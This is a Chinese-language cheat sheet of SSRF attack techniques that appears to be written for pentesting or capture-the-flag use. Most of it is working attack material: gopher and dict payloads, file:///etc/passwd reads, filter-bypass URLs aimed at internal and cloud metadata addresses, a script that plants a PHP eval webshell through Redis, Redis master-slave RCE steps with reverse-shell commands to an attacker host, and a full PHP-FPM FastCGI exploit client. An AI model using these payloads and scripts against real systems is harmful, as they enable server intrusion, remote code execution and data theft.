SSRF

​

服务器端请求伪造（SSRF）

SSRF（Server-Side Request Forger，服务器端请求伪造）是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。（正是因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内部系统）

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容，加载指定地址的图片，下载等等。

​

基本SSRF

构造POST请求

import urllib.parse
payload =\
"""POST /cmd HTTP/1.1
Host: 127.0.0.1:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

cmd=env
"""  

#注意后面一定要有回车，回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:8000/'+'_'+new
result = urllib.parse.quote(result)
print(result)

HTTP内容获取
http://127.0.0.1:80
http://0.0.0.0:80
http://localhost:80

读文件
file://path/to/file
file:///etc/passwd
file://\/\/etc/passwd
ssrf.php?url=file:///etc/passwd

端口探测（Burpsuite自定义迭代器）
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/

命令执行/反弹shell（POST请求）
gopher://<host>:<port>/<gopher-path>_<两次URL编码的TCP数据流>
gopher://172.17.0.7:80/_POST%2520/index.php%2520HTTP/1.1%250d%250AHost:172.17.0.7%250d%250AContent-Type:application/x-www-form-urlencoded%250d%250AContent-Length:36%250d%250A%250d%250Aname=admin%26password=123456%26result=60%250d%250A

参考：手把手带你用 SSRF 打穿内网

​

常用文件

内网IP地址信息：
/etc/hosts

网络情况：
/proc/net/arp
/etc/network/interfaces

​

绕过

HTTPS协议
https://127.0.0.1/
https://localhost/

[::]
http://[::]:80/
http://0000::1:80/

域名跳转
http://spoofed.burpcollaborator.net
http://localtest.me
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
http://mail.ebc.apple.com redirect to 127.0.0.6 == localhost
http://bugbounty.dod.network redirect to 127.0.0.2 == localhost
<anything>.<IP Address>.nip.io

CIDR
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0

十进制IP地址
http://0177.0.0.1/
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1

IPv6/IPv4地址嵌入
http://[0:0:0:0:0:ffff:127.0.0.1]

去0地址
http://0/
http://127.1
http://127.0.1

bash变量（curl情况）
curl -v "http://evil$google.com"
$google = ""

组合技巧
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib2 : 1.1.1.1
requests + browsers : 2.2.2.2
urllib : 3.3.3.3

绕过filter_var()
0://evil.com:80;http://google.com:80/

绕弱parser
http://127.1.1.1:80\@127.2.2.2:80/
http://127.1.1.1:80\@@127.2.2.2:80/
http://127.1.1.1:80:\@@127.2.2.2:80/
http://127.1.1.1:80#\@127.2.2.2:80/

DNS记录（检测带外流量监控平台：http://ceye.io/dns-rebinding）
http://169.254.169.254
http://metadata.nicob.net/
http://169.254.169.254.xip.io/
http://1ynrnhl.xip.io/
http://www.owasp.org.1ynrnhl.xip.io/

HTTP302跳转
静态:http://nicob.net/redir6a
动态:http://nicob.net/redir-http-169.254.169.254:80-

​

攻击

Redis未授权访问

PHPShell

# 脚本1
# PHPShell写入脚本

import socket
from urllib.parse import unquote
# 对gopherus生成的payload进行一次urldecode
payload = unquote("")
payload = payload.encode('utf-8')
host = '0.0.0.0'
port = 23
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)
# ftp被动模式的passvie port,监听到1234
sk2 = socket.socket()
sk2.bind((host, 1234))
sk2.listen()
# 计数器，用于区分是第几次ftp连接
count = 1
while 1:
    conn, address = sk.accept()
    conn.send(b"200 \n")
    print(conn.recv(20))  # USER aaa\r\n  客户端传来用户名
    if count == 1:
        conn.send(b"220 ready\n")
    else:
        conn.send(b"200 ready\n")
    print(conn.recv(20))   # TYPE I\r\n  客户端告诉服务端以什么格式传输数据，TYPE I表示二进制， TYPE A表示文本
    if count == 1:
        conn.send(b"215 \n")
    else:
        conn.send(b"200 \n")
    print(conn.recv(20))  # SIZE /123\r\n  客户端询问文件/123的大小
    if count == 1:
        conn.send(b"213 3 \n")  
    else:
        conn.send(b"300 \n")
    print(conn.recv(20))  # EPSV\r\n'
    conn.send(b"200 \n")
    print(conn.recv(20))   # PASV\r\n  客户端告诉服务端进入被动连接模式
    if count == 1:
        conn.send(b"227 192,168,160,129,4,210\n")  # 服务端告诉客户端需要到哪个ip:port去获取数据,ip,port都是用逗号隔开，其中端口的计算规则为：4*256+210=1234
    else:
        conn.send(b"227 127,0,0,1,24,235\n")  # 端口计算规则：24*256+235=9000
    print(conn.recv(20))  # 第一次连接会收到命令RETR /123\r\n，第二次连接会收到STOR /123\r\n
    if count == 1:
        conn.send(b"125 \n") # 告诉客户端可以开始数据链接了
        # 新建一个socket给服务端返回我们的payload
        print("建立连接!")
        conn2, address2 = sk2.accept()
        conn2.send(payload)
        conn2.close()
        print("断开连接!")
    else:
        conn.send(b"150 \n")
        print(conn.recv(20))
        exit()
    # 第一次连接是下载文件，需要告诉客户端下载已经结束
    if count == 1:
        conn.send(b"226 \n")
    conn.close()
    count += 1

# 脚本2
# 写入shell

import urllib.parse
protocol = "gopher://"
ip = "127.0.0.1"
port = "6379"
shell = "\n\n<?php eval($_POST[\"f4ke\"]);?>\n\n"
filename = "5he1l.php"
path = "/var/www/html"
passwd = ""
cmd = ["auth 123123",
    "flushall",
    "set 1 {}".format(shell.replace(" ","${IFS}")),
    "config set dir {}".format(path),
    "config set dbfilename {}".format(filename),
    "save",
    "quit"
    ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"
def redis_format(arr):
    CRLF = "\r\n"
    redis_arr = arr.split(" ")
    cmd = ""
    cmd += "*" + str(len(redis_arr))
    for x in redis_arr:
        cmd += CRLF + "$" + str(len((x.replace("${IFS}"," ")))) + CRLF + x.replace("${IFS}"," ")
    cmd += CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.parse.quote(redis_format(x))
    # print(payload)
    print(urllib.parse.quote(payload))

主从复制

主从复制，是指将一台Redis服务器的数据，复制到其他的Redis服务器。前者称为主节点(master)，后者称为从节点(slave)；数据的复制是单向的，只能由主节点到从节点。

Redis的持久化使得机器即使重启数据也不会丢失，因为Redis服务器重启后会把硬盘上的文件重新恢复到内存中，但是如果硬盘的数据被删除的话数据就无法恢复了，如果通过主从复制就能解决这个问题，主Redis的数据和从Redis上的数据保持实时同步，当主Redis写入数据是就会通过主从复制复制到其它从Redis。

主从复制从ssrf->rce原理：在全量复制过程中，恢复rdb文件，如果我们将rdb文件构造为恶意的exp.so，从节点即会自动生成，使得可以RCE。

一键自动化RCE

在Redis 4.x之后，Redis新增了模块功能，通过外部拓展，可以实现在Redis中实现一个新的Redis命令，通过写C语言编译并加载恶意的.so文件，达到代码执行的目的。

通过脚本实现一键自动化getshell：

方法1：

1、生成恶意.so文件，下载 RedisModules-ExecuteCommand，使用make编译即可生成。

2、攻击端执行 redis-rce：

python redis-rce.py -r 目标IP -p 目标端口 -L 本地IP -f 恶意.so

方法2：

Redis Rogue Server

手动方式

1、编写脚本，构造恶意Redis服务器，监听本地端口1234，加载exp.so。

python RogueServer.py --lport 1234 --exp exp.so

2、通过未授权访问连入要攻击的redis服务器。

执行相关命令：

#设置redis的备份路径为当前目录
    config set dir ./
#设置备份文件名为exp.so，默认为dump.rdb
    config set dbfilename exp.so
#设置主服务器IP和端口
    slaveof 192.168.172.129 1234  
#加载恶意模块
    module load ./exp.so
#切断主从，关闭复制功能
    slaveof no one 
#执行系统命令
    system.exec 'whoami'
    system.rev 127.0.0.1 9999    
#通过dump.rdb文件恢复数据
    config set dbfilename dump.rdb
#删除exp.so
    system.exec 'rm ./exp.so'
#卸载system模块的加载
    module unload system

SSRF+Redis 反弹shell

以curl为例，漏洞代码为ssrf.php:

<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch);
curl_close($ch);
?>

环境准备：

• 模拟内网未授权Redis服务器：1.1.1.1
• 模拟攻击者机器：2.2.2.2
• 在攻击者机器上构建恶意Redis服务器，同时监听本地9999端口等待shell返回。

dict协议利用

#查看当前redis的相关配置
ssrf.php?url=dict://1.1.1.1:6379/info

#设置当前目录
ssrf.php?url=dict://1.1.1.1:6379/config:set:dir:/tmp

#设置备份文件名
ssrf.php?url=dict://1.1.1.1:6379/config:set:dbfilename:exp.so

#连接恶意Redis服务器
ssrf.php?url=dict://1.1.1.1:6379/slaveof:2.2.2.2:1234

#加载恶意模块
ssrf.php?url=dict://1.1.1.1:6379/module:load:/tmp/exp.so

#切断主从复制
ssrf.php?url=dict://1.1.1.1:6379/slaveof:no:one

#执行系统命令
ssrf.php?url=dict://1.1.1.1:6379/system.rev:2.2.2.2:9999
ssrf.php?url=dict://1.1.1.1:6379/system.exec:env

gopher协议利用

#设置文件名，连接恶意Redis服务器
gopher://192.168.172.131:6379/_config%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520192.168.172.129%25201234%250d%250aquit

#加载exp.so，反弹shell
gopher://192.168.172.131:6379/_module%2520load%2520./exp.so%250d%250asystem.rev%2520192.168.172.129%25209999%250d%250aquit

​

PHP-FPM / FastCGI

FastCGI是一个协议，PHP-FPM是实现了FastCGI协议的程序，全称PHP FastCGI Process Manager，即PHP FastCGI的进程管理器，运行在默认运行在9000端口。

import socket
import random
import argparse
import sys
from io import BytesIO
 
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
 
PY2 = True if sys.version_info.major == 2 else False     #判断python 版本
 
 
def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])
 
def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)
 
def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')
 
def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s
 
 
class FastCGIClient:
    """A Fast-CGI Client for Python"""
 
    # private
    __FCGI_VERSION = 1
 
    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3
 
    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11
 
    __FCGI_HEADER_SIZE = 8
 
    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3
 
    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()
 
    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True
 
    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf
 
    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value
 
    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header
 
    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))
 
        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record
 
    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return
 
        requestId = random.randint(1, (1 << 16) - 1)    # 1 --65535
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)
 
        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
 
        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
 
        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)
 
    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf
 
        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']
 
    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)
 
 
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
 
    args = parser.parse_args()
 
    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
    print(force_text(response))
    
# python fpm.py -c "<?php system('ls /');?>" -p 12345 127.0.0.1 /var/www/html/index.php

将数据URL两次编码：

# -*- coding: UTF-8 -*-
from urllib.parse import quote, unquote, urlencode
file= open('1.txt','rb')
payload= file.read()
payload= quote(payload).replace("%0A","%0A%0D")
print("gopher://127.0.0.1:9000/_"+quote(payload))

​

参考

SSRF payloads